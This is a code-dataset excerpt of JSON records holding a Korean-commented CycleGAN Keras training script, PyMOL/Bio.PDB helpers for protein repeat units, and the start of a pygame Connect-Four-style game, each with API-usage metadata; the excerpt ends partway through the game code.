{"api_name": "PyQt5.QtCore", "line_number": 180, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 182, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 182, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 183, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 183, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QTextEdit", "line_number": 185, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 185, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 186, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 186, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 188, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 188, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 189, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 189, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 190, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 190, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 193, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 193, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 195, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 195, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 196, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 196, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 197, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 197, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 202, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 202, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 204, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 204, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 206, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 206, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 207, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 207, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 209, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 209, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QRect", "line_number": 210, "usage_type": "call"}, {"api_name": "PyQt5.QtCore", "line_number": 210, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QGridLayout", "line_number": 212, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 212, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDial", "line_number": 215, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 215, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QDial", "line_number": 219, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 219, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 223, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 223, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 224, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 224, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 227, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 227, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QLabel", "line_number": 230, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets", "line_number": 230, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QFont", "line_number": 231, "usage_type": "call"}, {"api_name": "PyQt5.QtGui", "line_number": 231, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 234, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 234, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QMetaObject.connectSlotsByName", "line_number": 239, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QMetaObject", "line_number": 239, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 239, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.QCoreApplication", "line_number": 242, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore", "line_number": 242, "usage_type": "name"}]}
{"seq_id": "12014612887", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <table align=\"left\">\n#   <td>\n#     <a target=\"_blank\" href=\"https://colab.research.google.com/github/J-TKim/Gans_in_action/blob/master/Ch8/Ch9_CycleGAN.ipynb\"><img src=\"https://www.tensorflow.org/images/colab_logo_32px.png\" />구글 코랩에서 실행하기</a>\n#   </td>\n# </table>\n\n# In[1]:\n\n\nget_ipython().run_cell_magic('bash', '', '\\nFILE=apple2orange\\nrm -rf ./datasets\\nmkdir ./datasets\\n\\nURL=https://people.eecs.berkeley.edu/~taesung_park/CycleGAN/datasets/$FILE.zip\\nZIP_FILE=./datasets/$FILE.zip\\nTARGET_DIR=./datasets/$FILE/\\nwget -N $URL -O $ZIP_FILE\\nmkdir $TARGET_DIR\\nunzip $ZIP_FILE -d ./datasets/\\nrm $ZIP_FILE\\n\\nmkdir -p ./images/$FILE/')\n\n\n# In[2]:\n\n\nimport scipy\nimport imageio\nfrom skimage.transform import resize\nfrom glob import glob\nimport numpy as np\n\nclass DataLoader():\n    def __init__(self, dataset_name, img_res=(128, 128)):\n        self.dataset_name = dataset_name\n        self.img_res = img_res\n        \n    def load_data(self, domain, batch_size=1, is_testing=False):\n        data_type = \"train%s\" % domain if not is_testing else \"test%s\" % domain\n        path = glob('./datasets/%s/%s/*' % (self.dataset_name, data_type))\n        \n        batch_images = np.random.choice(path, size=batch_size)\n        \n        imgs = []\n        for img_path in batch_images:\n            img = self.imread(img_path)\n            if not is_testing:\n                img = resize(img, self.img_res)\n                \n                if np.random.random() > 0.5:\n                    img = np.fliplr(img)\n            \n            else:\n                img = resize(img, self.img_res)\n            imgs.append(img)\n        \n        imgs = np.array(imgs) / 127.5 - 1.\n        \n        return imgs\n    \n    def load_batch(self, batch_size=1, is_testing=False):\n        data_type = \"train\" if not is_testing else \"val\"\n        path_A = glob('./datasets/%s/%sA/*' % (self.dataset_name, data_type))\n        path_B = glob('./datasets/%s/%sB/*' % (self.dataset_name, data_type))\n        \n        self.n_batches = int(min(len(path_A), len(path_B)) / batch_size)\n        total_samples = self.n_batches * batch_size\n        \n        # Sample n_batches* batch_size from each path list so that model sees all\n        \n        # samples from both domains\n        path_A = np.random.choice(path_A, total_samples, replace=False)\n        path_B = np.random.choice(path_B, total_samples, replace=False)\n        \n        for i in range(self.n_batches-1):\n            batch_A = path_A[i * batch_size:(i+1)*batch_size]\n            batch_B = path_B[i * batch_size:(i+1)*batch_size]\n            imgs_A, imgs_B = [], []\n            for img_A, img_B in zip(batch_A, batch_B):\n                img_A = self.imread(img_A)\n                img_B = self.imread(img_B)\n                \n                img_A = resize(img_A, self.img_res)\n                img_B = resize(img_B, self.img_res)\n                \n                if not is_testing and np.random.random() > 0.5:\n                    img_A = np.fliplr(img_A)\n                    img_B = np.fliplr(img_B)\n                    \n                imgs_A.append(img_A)\n                imgs_B.append(img_B)\n                \n            imgs_A = np.array(imgs_A) / 127.5 - 1\n            imgs_B = np.array(imgs_B) / 127.5 - 1\n            \n            yield imgs_A, imgs_B\n    def imread(self, path):\n        return imageio.imread(path, pilmode=\"RGB\").astype(np.float)\n\n\n# In[3]:\n\n\n# 코드 9-1 패키지 임포트\nfrom __future__ import print_function, division\nimport scipy\nfrom tensorflow.keras.datasets import mnist\nfrom tensorflow_addons.layers import InstanceNormalization\nfrom tensorflow.keras.layers import Input, Dense, Reshape, Flatten, Dropout, Concatenate\nfrom tensorflow.keras.layers import BatchNormalization, Activation, ZeroPadding2D\nfrom tensorflow.keras.layers import LeakyReLU\nfrom tensorflow.keras.layers import UpSampling2D, Conv2D\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.optimizers import Adam\nimport datetime\nimport matplotlib.pyplot as plt\nimport sys\nimport numpy as np\nimport os\n\n\n# In[4]:\n\n\n\nclass CycleGAN():\n    def __init__(self):\n        # 입력 크기\n        self.img_rows = 128\n        self.img_cols = 128\n        self.channels = 3\n        self.img_shape = (self.img_rows, self.img_cols, self.channels)\n\n        # 데이터 로더 설정\n        self.dataset_name = 'apple2orange'\n        # DataLoader 객체를 사용해 전처리된 데이터 임포트합니다.\n        self.data_loader = DataLoader(dataset_name=self.dataset_name,\n                                      img_res=(self.img_rows, self.img_cols))\n\n        # D(PatchGAN)의 출력 크기를 계산합니다.\n        patch = int(self.img_rows / 2**4)\n        self.disc_patch = (patch, patch, 1)\n\n        # G와 D의 첫 번째 층에 있는 필터의 개수\n        self.gf = 32\n        self.df = 64\n\n        # 손실 가중치\n        self.lambda_cycle = 10.0                    # 사이클-일관성 손실\n        self.lambda_id = 0.9 * self.lambda_cycle    # 동일성 손실\n\n        optimizer = Adam(0.0002, 0.5)\n        \n        # 판별자를 만들고 컴파일합니다.\n        self.d_A = self.build_discriminator()\n        self.d_B = self.build_discriminator()\n        self.d_A.compile(loss='mse',\n                         optimizer=optimizer,\n                         metrics=['accuracy'])\n        self.d_B.compile(loss='mse',\n                         optimizer=optimizer,\n                         metrics=['accuracy'])\n\n        #-------------------------\n        # 생성자의 계산 그래프를 만듭니다.\n        #-------------------------\n\n        # 생성자를 만듭니다.\n        self.g_AB = self.build_generator()\n        self.g_BA = self.build_generator()\n\n        # 두 도메인의 입력 이미지\n        img_A = Input(shape=self.img_shape)\n        img_B = Input(shape=self.img_shape)\n\n        # 이미지를 다른 도메인으로 변환합니다.\n        fake_B = self.g_AB(img_A)\n        fake_A = self.g_BA(img_B)\n        # 원본 도메인으로 이미지를 다시 변환합니다.\n        reconstr_A = self.g_BA(fake_B)\n        reconstr_B = self.g_AB(fake_A)\n        # 동일한 이미지 매핑\n        img_A_id = self.g_BA(img_A)\n        img_B_id = self.g_AB(img_B)\n\n        # 연결 모델에서는 생성자만 훈련합니다.\n        self.d_A.trainable = False\n        self.d_B.trainable = False\n\n        # 판별자가 변환된 이미지를 검증합니다.\n        valid_A = self.d_A(fake_A)\n        valid_B = self.d_B(fake_B)\n\n        # 연결 모델은 판별자를 속이기 위한 생성자를 훈련합니다.\n        self.combined = Model(inputs=[img_A, img_B],\n                              outputs=[valid_A, valid_B,\n                                       reconstr_A, reconstr_B,\n                                       img_A_id, img_B_id])\n        self.combined.compile(loss=['mse', 'mse',\n                                    'mae', 'mae',\n                                    'mae', 'mae'],\n                              loss_weights=[1, 1,\n                                            self.lambda_cycle, self.lambda_cycle,\n                                            self.lambda_id, self.lambda_id],\n                              optimizer=optimizer)\n\n\n# In[5]:\n\n\nclass CycleGAN(CycleGAN):\n    @staticmethod\n    def conv2d(layer_input, filters, f_size=4, normalization=True):\n        \"다운샘플링하는 동안 사용되는 층\"\n        d = Conv2D(filters, kernel_size=f_size,\n                   strides=2, padding='same')(layer_input)\n        d = LeakyReLU(alpha=0.2)(d)\n        if normalization:\n            d = InstanceNormalization()(d)\n        return d\n      \n    @staticmethod\n    def deconv2d(layer_input, skip_input, filters, f_size=4, dropout_rate=0):\n        \"업샘플링하는 동안 사용되는 층\"\n        u = UpSampling2D(size=2)(layer_input)\n        u = Conv2D(filters, kernel_size=f_size, strides=1,\n                    padding='same', activation='relu')(u)\n        if dropout_rate:\n            u = Dropout(dropout_rate)(u)\n        u = InstanceNormalization()(u)\n        u = Concatenate()([u, skip_input])\n        return u\n\n\n# In[6]:\n\n\nclass CycleGAN(CycleGAN):\n    def build_generator(self):\n        \"\"\"U-Net 생성자\"\"\"\n        # 이미지 입력\n        d0 = Input(shape=self.img_shape)\n\n        # 다운샘플링\n        d1 = self.conv2d(d0, self.gf)\n        d2 = self.conv2d(d1, self.gf * 2)\n        d3 = self.conv2d(d2, self.gf * 4)\n        d4 = self.conv2d(d3, self.gf * 8)\n\n        # 업샘플링\n        u1 = self.deconv2d(d4, d3, self.gf * 4)\n        u2 = self.deconv2d(u1, d2, self.gf * 2)\n        u3 = self.deconv2d(u2, d1, self.gf)\n\n        u4 = UpSampling2D(size=2)(u3)\n        output_img = Conv2D(self.channels, kernel_size=4,\n                            strides=1, padding='same', activation='tanh')(u4)\n\n        return Model(d0, output_img)\n\n\n# In[7]:\n\n\nclass CycleGAN(CycleGAN):\n    def build_discriminator(self):\n        img = Input(shape=self.img_shape)\n        \n        d1 = self.conv2d(img, self.df, normalization=False)\n        d2 = self.conv2d(d1, self.df * 2)\n        d3 = self.conv2d(d2, self.df * 4)\n        d4 = self.conv2d(d3, self.df * 8)\n\n        validity = Conv2D(1, kernel_size=4, strides=1, padding='same')(d4)\n\n        return Model(img, validity)\n\n\n# In[8]:\n\n\nclass CycleGAN(CycleGAN):\n      def sample_images(self, epoch, batch_i):\n        r, c = 2, 3\n\n        imgs_A = self.data_loader.load_data(domain=\"A\", batch_size=1, is_testing=True)\n        imgs_B = self.data_loader.load_data(domain=\"B\", batch_size=1, is_testing=True)\n        \n        # 이미지를 다른 도메인으로 변환합니다.\n        fake_B = self.g_AB.predict(imgs_A)\n        fake_A = self.g_BA.predict(imgs_B)\n        # 원본 도메인으로 되돌립니다.\n        reconstr_A = self.g_BA.predict(fake_B)\n        reconstr_B = self.g_AB.predict(fake_A)\n\n        gen_imgs = np.concatenate([imgs_A, fake_B, reconstr_A, imgs_B, fake_A, reconstr_B])\n\n        # 이미지를 0 - 1 사이로 스케일을 바꿉니다.\n        gen_imgs = 0.5 * gen_imgs + 0.5\n\n        titles = ['Original', 'Translated', 'Reconstructed']\n        fig, axs = plt.subplots(r, c)\n        cnt = 0\n        for i in range(r):\n            for j in range(c):\n                axs[i,j].imshow(gen_imgs[cnt])\n                axs[i, j].set_title(titles[j])\n                axs[i,j].axis('off')\n                cnt += 1\n        fig.savefig(\"images/%s/%d_%d.png\" % (self.dataset_name, epoch, batch_i))\n        plt.show()\n\n\n# In[9]:\n\n\nclass CycleGAN(CycleGAN):\n      def train(self, epochs, batch_size=1, sample_interval=50):\n        # 적대 손실에 대한 정답\n        valid = np.ones((batch_size,) + self.disc_patch)\n        fake = np.zeros((batch_size,) + self.disc_patch)\n\n\n        for epoch in range(epochs):\n            for batch_i, (imgs_A, imgs_B) in enumerate(self.data_loader.load_batch(batch_size)):\n\n                # 이미지를 상대 도메인으로 변환합니다.\n                fake_B = self.g_AB.predict(imgs_A)\n                fake_A = self.g_BA.predict(imgs_B)\n\n                # 판별자를 훈련합니다. (원본 이미지 = real / 변환된 이미지 = fake)\n                dA_loss_real = self.d_A.train_on_batch(imgs_A, valid)\n                dA_loss_fake = self.d_A.train_on_batch(fake_A, fake)\n                dA_loss = 0.5 * np.add(dA_loss_real, dA_loss_fake)\n\n                dB_loss_real = self.d_B.train_on_batch(imgs_B, valid)\n                dB_loss_fake = self.d_B.train_on_batch(fake_B, fake)\n                dB_loss = 0.5 * np.add(dB_loss_real, dB_loss_fake)\n\n                # 판별자 전체 손실\n                d_loss = 0.5 * np.add(dA_loss, dB_loss)\n\n                # 생성자를 훈련합니다.\n                g_loss = self.combined.train_on_batch([imgs_A, imgs_B],\n                                                      [valid, valid,\n                                                       imgs_A, imgs_B,\n                                                       imgs_A, imgs_B])\n                # save_interval 마다 생성된 이미지 샘플을 저장합니다.\n                if batch_i % sample_interval == 0:\n                    self.sample_images(epoch, batch_i)\n\n\n# In[10]:\n\n\ncycle_gan = CycleGAN()\ncycle_gan.train(epochs=100, batch_size=64, sample_interval=10)\n\n", "repo_name": "J-TKim/Gans_in_action", "sub_path": "Ch9/Ch9_CycleGAN.py", "file_name": "Ch9_CycleGAN.py", "file_ext": "py", "file_size_in_byte": 12386, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "glob.glob", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 34, "usage_type": "attribute"}, {"api_name": "skimage.transform.resize", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 42, "usage_type": "attribute"}, {"api_name": "numpy.fliplr", "line_number": 43, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 49, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 55, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 64, "usage_type": "attribute"}, {"api_name": "numpy.random.choice", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 65, "usage_type": "attribute"}, {"api_name": "skimage.transform.resize", "line_number": 75, "usage_type": "call"}, {"api_name": "skimage.transform.resize", "line_number": 76, "usage_type": "call"}, {"api_name": "numpy.random.random", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 78, "usage_type": "attribute"}, {"api_name": "numpy.fliplr", "line_number": 79, "usage_type": "call"}, {"api_name": "numpy.fliplr", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 86, "usage_type": "call"}, {"api_name": "imageio.imread", "line_number": 90, "usage_type": "call"}, {"api_name": "numpy.float", "line_number": 90, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.optimizers.Adam", "line_number": 144, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Input", "line_number": 165, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Input", "line_number": 166, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Model", "line_number": 187, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 207, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.LeakyReLU", "line_number": 209, "usage_type": "call"}, {"api_name": "tensorflow_addons.layers.InstanceNormalization", "line_number": 211, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.UpSampling2D", "line_number": 217, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 218, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 221, "usage_type": "call"}, {"api_name": "tensorflow_addons.layers.InstanceNormalization", "line_number": 222, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Concatenate", "line_number": 223, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Input", "line_number": 234, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.UpSampling2D", "line_number": 247, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 248, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Model", "line_number": 251, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Input", "line_number": 259, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv2D", "line_number": 266, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Model", "line_number": 268, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 288, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 294, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 294, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 303, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 303, "usage_type": "name"}, {"api_name": "numpy.ones", "line_number": 312, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 313, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 326, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 330, "usage_type": "call"}, {"api_name": "numpy.add", "line_number": 333, "usage_type": "call"}]}
{"seq_id": "73379278024", "text": "# coding: utf-8\nimport re\nimport pymol\n\nfrom uuid import uuid4\n\nfrom Bio.PDB import Select\n\nfrom pymol import cmd\nfrom pymol.cgo import *\n\n\nclass UnitSelection(Select):\n    \"\"\"\n    class to handle the division of protein in unit\n    \"\"\"\n    def __init__(self, start_id, end_id):\n        \"\"\"\n        Initialization of the class\n\n        :param start_id: identifier of the first element in the unit\n        :param end_id: identifier of the last element in the unit\n        \"\"\"\n        self.start_id = start_id\n        self.end_id = end_id\n\n    def accept_residue(self, residue):\n        \"\"\"\n        Accept residue if in the range of initialization \n\n        :param residure: elment to check \n        :return: True if residue is in the interval [start_id, end_id]\n        \"\"\"\n        hetflag, resseq, icode = residue.get_id()\n        if self.start_id <= resseq <= self.end_id:\n            return True\n        return False\n\n\ndef atoi(text):\n    \"\"\"\n    transform the a digit text into integers\n\n    :param text: a string of text\n    :return: an integer if the text is composed by digits,\n             the text itself otherwise\n    \"\"\"\n    return int(text) if text.isdigit() else text\n\n\ndef natural_keys(text):\n    \"\"\"\n    split the text between character and digits\n\n    :param text: a string of text\n    :return: a list containig the splitted text\n    \"\"\"\n    return [atoi(c) for c in re.split('(\\d+)', text) if c != '']\n\n\ndef parse_rdb(filename):\n    \"\"\"\n    parse RepeadDB protein file \n\n    :param filename: path to pdb file\n    :return: dictionary representing the parsed file \n    \"\"\"\n    obj = {}\n    with open(filename) as f:\n        for line in f:\n            line = line.strip().split()\n            if line[0] == \"SOURCE\":\n                obj['source'] = line[1]\n            elif line[0] == \"PDB\":\n                obj['id'] = line[1]\n            elif line[0] == \"CHAIN\":\n                obj['chain'] = line[1]\n            elif line[0] == \"REG\":\n                obj.setdefault('regions', [])\n                obj['regions'].append((line[1], line[2], \n                                       line[3] + '.' + line[4]))\n            elif line[0] == \"UNIT\":\n                start, end = line[1:3]\n                try:\n                    start_id = (' ', int(start), ' ')\n                except:\n                    start_id = (' ', int(start[:-1]), start[-1])\n                try:\n                    end_id = (' ', int(end), ' ')\n                except:\n                    end_id = (' ', int(end[:-1]), end[-1])\n\n                obj.setdefault('units', [])\n                obj['units'].append((start_id, end_id))\n\n            elif line[0] == \"INS\":\n                obj.setdefault('insertions', [])\n                obj['insertions'].append((line[1], line[2]))\n\n    return obj\n\n\ndef draw_center_of_mass(centers):\n    \"\"\"\n    draws the center of mass of each unit\n\n    :param centers: list of coordinates of the centers of mass for each unit\n    :return:\n    \"\"\"\n    for unit in centers:\n        pymol_center = [COLOR, 255, 0, 0, SPHERE] + list(centers[unit]) + [0.5]\n        cmd.load_cgo(pymol_center, 'center' + unit)\n    pymol.cmd.reset()\n        \n    \ndef draw_distance_center_of_mass(centers):\n    \"\"\"\n    draws the lines connecting the centers of mass \n    (distances between two center of mass)\n    \n    :param centers: list of coordinates of the centers of mass for each unit\n    :return:\n    \"\"\"\n    for unit_1 in centers:\n        center_1 = centers[unit_1]\n        pymol.cmd.pseudoatom('center' + unit_1,\n                             pos=[center_1[0], center_1[1], center_1[2]],\n                             color=\"red\", \n                             name='center_1')\n        for unit_2 in centers:\n            if unit_1 != unit_2:\n                center_2 = centers[unit_2]\n                pymol.cmd.pseudoatom('center' + unit_2,\n                                     pos=[center_2[0], center_2[1], center_2[2]],\n                                     color=\"red\", \n                                     name='center_2')\n                pymol.cmd.distance('center' + unit_1 + '////center_1',\n                                   'center' + unit_2 + '////center_2')\n    pymol.cmd.reset()\n\n                            \ndef draw_distance_center_mass_alpha(unit, center, alpha_c):\n    \"\"\"\n    draws the lines between center of mass and alpha carbon in the unit \n    (distance between center of mass and alpha carbons)\n\n    :param unit: string, name of the unit\n    :param center: coordinate representing the center of mass of the unit\n    :param alpha_c: list of coordinates representing the alpha carbon \n                    of the unit\n    :return:\n    \"\"\"\n    cmd.pseudoatom('center' + unit,\n                   pos=[center[0], center[1], center[2]],\n                   color=\"red\", \n                   name='center')\n    for i, c in enumerate(alpha_c):\n        coord = c.get_coord()\n        cmd.pseudoatom('c_alpha' + unit + str(i),\n                       pos=[coord[0], coord[1], coord[2]],\n                       color=\"red\", \n                       name='c_alpha')\n        cmd.distance('center' + unit + '////center',\n                     'c_alpha' + unit + str(i) + '////c_alpha') \n    pymol.cmd.reset()\n\n\ndef draw_vector(x, y):\n    \"\"\"\n    draws a line (vector) between two point \n\n    :param x: coordinates of the first point \n    :param y: coordinates of the second point\n    :return:\n    \"\"\"\n    id_ = str(uuid4())\n    cmd.pseudoatom('vx' + id_, \n                   pos=x, \n                   color=\"red\", \n                   name='x')\n    cmd.pseudoatom('vy' + id_, \n                   pos=y, \n                   color=\"red\", \n                   name='y')\n    cmd.distance('vx' + id_ + '////x',\n                 'vy' + id_ + '////y')\n    pymol.cmd.reset()", "repo_name": "Federic0Bald0/structural_bioinformatics", "sub_path": "bio_project/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 5766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "Bio.PDB.Select", "line_number": 13, "usage_type": "name"}, {"api_name": "re.split", "line_number": 58, "usage_type": "call"}, {"api_name": "pymol.cmd.load_cgo", "line_number": 112, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 112, "usage_type": "name"}, {"api_name": "pymol.cmd.reset", "line_number": 113, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 113, "usage_type": "attribute"}, {"api_name": "pymol.cmd.pseudoatom", "line_number": 126, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 126, "usage_type": "attribute"}, {"api_name": "pymol.cmd.pseudoatom", "line_number": 133, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pymol.cmd.distance", "line_number": 137, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 137, "usage_type": "attribute"}, {"api_name": "pymol.cmd.reset", "line_number": 139, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 139, "usage_type": "attribute"}, {"api_name": "pymol.cmd.pseudoatom", "line_number": 153, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 153, "usage_type": "name"}, {"api_name": "pymol.cmd.pseudoatom", "line_number": 159, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 159, "usage_type": "name"}, {"api_name": "pymol.cmd.distance", "line_number": 163, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 163, "usage_type": "name"}, {"api_name": "pymol.cmd.reset", "line_number": 165, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 165, "usage_type": "attribute"}, {"api_name": "uuid.uuid4", "line_number": 176, "usage_type": "call"}, {"api_name": "pymol.cmd.pseudoatom", "line_number": 177, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 177, "usage_type": "name"}, {"api_name": "pymol.cmd.pseudoatom", "line_number": 181, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 181, "usage_type": "name"}, {"api_name": "pymol.cmd.distance", "line_number": 185, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 185, "usage_type": "name"}, {"api_name": "pymol.cmd.reset", "line_number": 187, "usage_type": "call"}, {"api_name": "pymol.cmd", "line_number": 187, "usage_type": "attribute"}]}
{"seq_id": "9585281785", "text": "import sys\nimport numpy as np\nimport pygame\nimport math\nimport os\n\nfrom button import Button\n\n\nROW_COUNT = 9\nCOLUMN_COUNT = 9\n\nBLUE = (0,0,255)\nBLACK = (0,0,0)\nRED = (255,0,0)\nYELLOW = (255,255,0)\n\nSQUARESIZE = 100\nwidth = (COLUMN_COUNT + 2) * SQUARESIZE\nheight = ROW_COUNT * SQUARESIZE\nsize = (width, height)\n\nRADIUS = int(SQUARESIZE / 2 - 5)\n\n\ndef createBoard():\n    board = np.zeros((ROW_COUNT, COLUMN_COUNT))\n    return board\n\ndef dropPiece(board, row, col, piece):\n   board[row][col] = piece\n\n\ndef printBoard(board):\n    print(np.flip(board, 0))\n\n\nfile = open(\"Hamle.txt\", \"w\")\nfile1 = open(\"Tahta.txt\", \"w\")\n\n\ndef allPositions(board, row, col, piece):\n   numRows, numCols = board.shape\n   with open(\"Tahta.txt\", \"w\") as file1:\n       for row in range(numRows):\n           for col in range(numCols):\n               if  board[row][col] == 1:\n                   file1.write(f\"({row}, {col}) - Red is Played \\n\")\n               elif  board[row][col] == 2:\n                   file1.write(f\"({row}, {col}) - Yellow is Played\\n\")\n               else:\n                 file1.write(f\"({row}, {col}) - Free Slot \\n\")\n\ndef isValidLocation(board, col):\n   return col >= 0 and col < len(board[ROW_COUNT - 1]) and board[ROW_COUNT - 1][col] == 0\n\n\ndef getNextOpenRow(board, col):\n   for r in range(ROW_COUNT):\n       if 0 <= col < len(board[ROW_COUNT - 1]):\n         if board[r][col] == 0:\n            return r\n\n\ndef winningMove(board, piece):\n   #Checking Horizontally\n   for i in range(COLUMN_COUNT-3):\n      for j in range(ROW_COUNT):\n         if board[j][i] == piece and board[j][i+1] == piece and board[j][i+2] == piece and board[j][i+3] == piece:\n             return True\n\n   # Checking Vertically\n   for i in range(COLUMN_COUNT):\n      for j in range(ROW_COUNT-3):\n         if board[j][i] == piece and board[j+1][i] == piece and board[j+2][i] == piece and board[j+3][i] == piece:\n             return True\n\n   # Checking positively sloped diaganols\n   for i in range(COLUMN_COUNT-3):\n      for j in range(ROW_COUNT-3):\n         if board[j][i] == piece and board[j+1][i+1] == piece and board[j+2][i+2] == piece and board[j+3][i+3] == piece:\n             return 